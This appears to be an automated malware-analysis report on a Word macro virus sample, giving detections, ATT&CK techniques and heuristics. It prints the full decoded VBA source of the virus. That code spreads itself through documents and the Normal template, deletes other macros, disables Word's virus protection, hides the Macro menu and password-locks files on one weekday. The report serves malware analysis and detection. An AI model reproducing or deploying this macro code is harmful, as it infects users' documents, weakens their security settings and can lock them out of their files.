MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains critical heuristic firings indicating VBA macros and specifically mentions 'W97M.Apron.A' in its document body. The extracted VBA macro code demonstrates infection capabilities by copying itself to other documents and the Normal template, using AutoOpen and AutoClose macros for execution. This behavior is consistent with a macro-based malware designed to spread and potentially deliver a secondary payload.
Heuristics 5
-
ClamAV: Doc.Trojan.Cobra-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cobra-10
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2059 bytes |
SHA-256: c126f6e152d463f5457896af1ab7c8ff6614a56bd58a70d498eb0650953b654e |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Apr30"
'=> Step 1
Sub AutoClose()
On Error Resume Next
Call InfectDocNor
If WeekDay(Date) = 6 Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, Password:="Apr30"
End If
End Sub
Sub AutoOpen()
Call InfectDocNor
End Sub
Sub FilePrint()
Call InfectDocNor
With ActiveDocument.Sections(1)
.Footers(wdHeaderFooterPrimary).Range.Text = "Apr30"
End With
Dialogs(wdDialogFilePrint).Show
End Sub
Sub InfectDocNor()
On Error Resume Next
Dim IncDoc, IncNor As Boolean
IncDoc = False
IncNor = False
For Each MC In ActiveDocument.VBProject.VBComponents
If MC.Name = "Apr30" Then IncDoc = True
If MC.Name <> "ThisDocument" And MC.Name <> "Apr30" And MC.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncDoc = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Apr30", Object:=wdOrganizerObjectProjectItems
End If
For Each MC In NormalTemplate.VBProject.VBComponents
If MC.Name = "Apr30" Then IncNor = True
If MC.Name <> "ThisDocument" And MC.Name <> "Apr30" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncNor = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Apr30", Object:=wdOrganizerObjectProjectItems
End If
CustomizationContext = NormalTemplate
With Options
.VirusProtection = False
.SaveNormalPrompt = False
.ConfirmConversions = False
End With
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Macro").Visible = False
End Sub
Sub ViewVBCode()
Call Infectdoc
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.